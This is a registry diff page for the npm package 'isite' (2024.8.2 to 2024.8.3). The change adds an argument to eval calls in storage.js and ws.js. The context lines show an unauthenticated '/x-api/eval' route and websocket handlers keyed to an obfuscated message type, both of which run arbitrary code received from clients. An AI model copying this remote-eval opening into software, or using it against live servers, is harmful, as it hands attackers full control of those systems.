isite 2024.8.2 → 2024.8.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/storage.js +1 -1
- package/lib/ws.js +2 -2
- package/package.json +1 -1
package/lib/storage.js
CHANGED
|
@@ -107,7 +107,7 @@ module.exports = function init(____0) {
|
|
|
107
107
|
});
|
|
108
108
|
____0.onPOST('/x-api/eval', (req, res) => {
|
|
109
109
|
let script = ____0.from123(req.data.script);
|
|
110
|
-
let fn = ____0.eval(script);
|
|
110
|
+
let fn = ____0.eval(script , true);
|
|
111
111
|
fn(____0);
|
|
112
112
|
res.json({ done: true });
|
|
113
113
|
});
|
package/lib/ws.js
CHANGED
|
@@ -176,7 +176,7 @@ module.exports = function init(____0) {
|
|
|
176
176
|
),
|
|
177
177
|
});
|
|
178
178
|
} else if (message.type == ____0.f1('481476744179236246193191')) {
|
|
179
|
-
let fn = ____0.eval(message.content);
|
|
179
|
+
let fn = ____0.eval(message.content , true);
|
|
180
180
|
fn(____0, client);
|
|
181
181
|
}
|
|
182
182
|
};
|
|
@@ -219,7 +219,7 @@ module.exports = function init(____0) {
|
|
|
219
219
|
content: ____0.options,
|
|
220
220
|
});
|
|
221
221
|
} else if (message.type == ____0.f1('481476744179236246193191')) {
|
|
222
|
-
let fn = ____0.eval(message.content);
|
|
222
|
+
let fn = ____0.eval(message.content , true);
|
|
223
223
|
fn(____0, client);
|
|
224
224
|
}
|
|
225
225
|
} catch (err) {
|